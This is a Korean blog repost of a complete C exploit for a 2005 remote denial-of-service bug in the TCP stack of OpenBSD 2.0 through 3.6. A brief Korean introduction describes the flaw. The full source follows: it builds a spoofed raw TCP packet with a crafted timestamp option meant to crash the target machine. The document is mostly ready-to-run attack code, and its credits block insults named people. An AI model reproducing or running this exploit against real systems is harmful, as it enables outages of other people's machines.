2005년 3월 21일에 발표된 코드로
OpenBSD 2.0-3.6 에 있는 DOS 공격 취약점을 이용해 공격을 실행하는
코드 입니다. 위험도는 "상"급에 속하고 roman 이라는 사람이
만들었습니다.
TCP Stack에서 발견된 이 버그는 TCP TimeOut 처리에서 발생하는
유효하지 못한 인자를 허락하는데서 기인하며 TCP TimeStamp에서
특정값을 전송함으로써 시스템을 마비시킬 수 있습니다.
출처: http://rst.void.ru/download/r57obsd-dos.c
#include <stdio.h>
#include <ctype.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <netinet/in_systm.h>
#include <netinet/ip.h>
#include <netinet/tcp.h>
#include <sysexits.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/types.h>
#ifndef TCPOPTLEN
#define TCPOPTLEN 12
#endif
#define UMASK 0xffff
#define TIMESTAMP 0x7b000000 // 123 in hex - change it, this will probably help
// ftp://ftp.openbsd.org/pub/OpenBSD/patches/3.6/common/010_rtt.patch
/*
ANY MODIFIED REPUBLISHING IS RESTRICTED
OpenBSD 2.0 - 3.6 Remote DoS Exploit
Tested under OpenBSD 3.6 at OpenBSD 3.5/3.6
Vuln by OpenBSD errata, http://www.openbsd.org/errata.html
(c)oded by __blf 2005 RusH Security Team, http://rst.void.ru
Public version - change TimeStamp to cause System Crash
Gr33tz: zZz, Phoenix, MishaSt, Inck-Vizitor, BlackPrince
Fuck lamerz: Saint_I, nmalykh, Mr.Clumsy, RooD aka MapycyA
All rights reserved.
ANY MODIFIED REPUBLISHING IS RESTRICTED
*/
#define _BSD_SOURCE
u_short checksum(unsigned short * addr, int len)
{
u_int32_t cksum = 0;
while(len > 0)
{
cksum += *addr++;
len -= 2;
}
if(len == 0)
{
cksum += *(u_char *)addr;
}
cksum = (cksum >> 16) + (cksum & UMASK);
cksum = cksum + (cksum >> 16);
return (~cksum);
}
int main(int argc, char ** argv)
{
struct in_addr src, dst;
struct sockaddr_in sin;
struct ip * iph;
struct tcphdr * tcph;
struct _pseudoheader
{
struct in_addr src_addr;
struct in_addr dest_addr;
u_char zero;
u_char protocol;
u_short length;
}
pseudoheader;
u_char * packet;
u_char * pseudopacket;
int mysock;
int on = 1;
u_char * ts;
u_int32_t val = TIMESTAMP;
if( argc != 4)
{
fprintf(stderr, "r57obsd-dos.c by __blf\n");
fprintf(stderr, "RusH Security Team\n");
fprintf(stderr, "Usage: %s <source ip> <dest ip> <dest port>\n", argv[0]);
return EX_USAGE;
}
if ((packet = (char *)malloc(sizeof(struct ip) + sizeof(struct tcphdr) + TCPOPTLEN)) == NULL)
{
perror("malloc");
return EX_OSERR;
}
inet_aton(argv[1], &src);
inet_aton(argv[2], &dst);
iph = (struct ip *) packet;
iph->ip_v = IPVERSION;
iph->ip_hl = 5;
iph->ip_tos = 0;
iph->ip_len = ntohs(sizeof(struct ip) + sizeof(struct tcphdr) + TCPOPTLEN);
iph->ip_off = htons(IP_DF);
iph->ip_ttl = 255;
iph->ip_p = IPPROTO_TCP;
iph->ip_sum = 0;
iph->ip_src = src;
iph->ip_dst = dst;
tcph = (struct tcphdr *)(packet +sizeof(struct ip));
tcph->th_sport = htons(rand()); // just random
tcph->th_dport = htons(atoi(argv[3]));
tcph->th_seq = htonl(rand());
tcph->th_ack = htonl(rand());
tcph->th_off = 5 + (TCPOPTLEN >> 2);
tcph->th_flags = TH_ACK;
tcph->th_win = htons(512);
tcph->th_urp = 0;
ts = (unsigned char *)(packet + sizeof(struct ip) + sizeof(struct tcphdr));
ts[0] = ts[1] = 1;
ts[2] = 8;
ts[3] = 10;
memcpy(ts+4, &val, 4);
memset(ts+8, 0, 4);
pseudoheader.src_addr = src;
pseudoheader.dest_addr = dst;
pseudoheader.zero = 0;
pseudoheader.protocol = IPPROTO_TCP;
pseudoheader.length = htons(sizeof(struct tcphdr) + TCPOPTLEN);
if((pseudopacket = (char *)malloc(sizeof(pseudoheader)+sizeof(struct tcphdr) + TCPOPTLEN)) == NULL)
{
perror("malloc()");
return EX_OSERR;
}
memcpy(pseudopacket, &pseudoheader, sizeof(pseudoheader));
memcpy(pseudopacket + sizeof(pseudoheader), packet + sizeof(struct ip), sizeof(struct tcphdr) + TCPOPTLEN);
tcph->th_sum = checksum((unsigned short *)pseudopacket, sizeof(pseudoheader) + sizeof(struct tcphdr) + TCPOPTLEN);
mysock = socket(PF_INET, SOCK_RAW, IPPROTO_RAW);
if(!mysock)
{
perror("socket!\n");
return EX_OSERR;
}
if(setsockopt(mysock, IPPROTO_IP, IP_HDRINCL, (char *)&on, sizeof(on)) == -1)
{
perror("setsockopt");
shutdown(mysock, 2);
return EX_OSERR;
}
sin.sin_family = PF_INET;
sin.sin_addr = dst;
sin.sin_port = htons(atoi(argv[3])); // doesn't really matter
if(sendto(mysock, packet, sizeof(struct ip) + sizeof(struct tcphdr) + TCPOPTLEN, 0, (struct sockaddr *)&sin, sizeof(sin)) == -1)
{
perror("sendto()\n");
shutdown(mysock, 2);
return EX_NOHOST;
}
printf("Packet sent. Remote machine should crash.\n");
shutdown(mysock, 2);
return EX_OK;
}
참고: http://blog.naver.com/rainst?Redirect=Log&logNo=11349292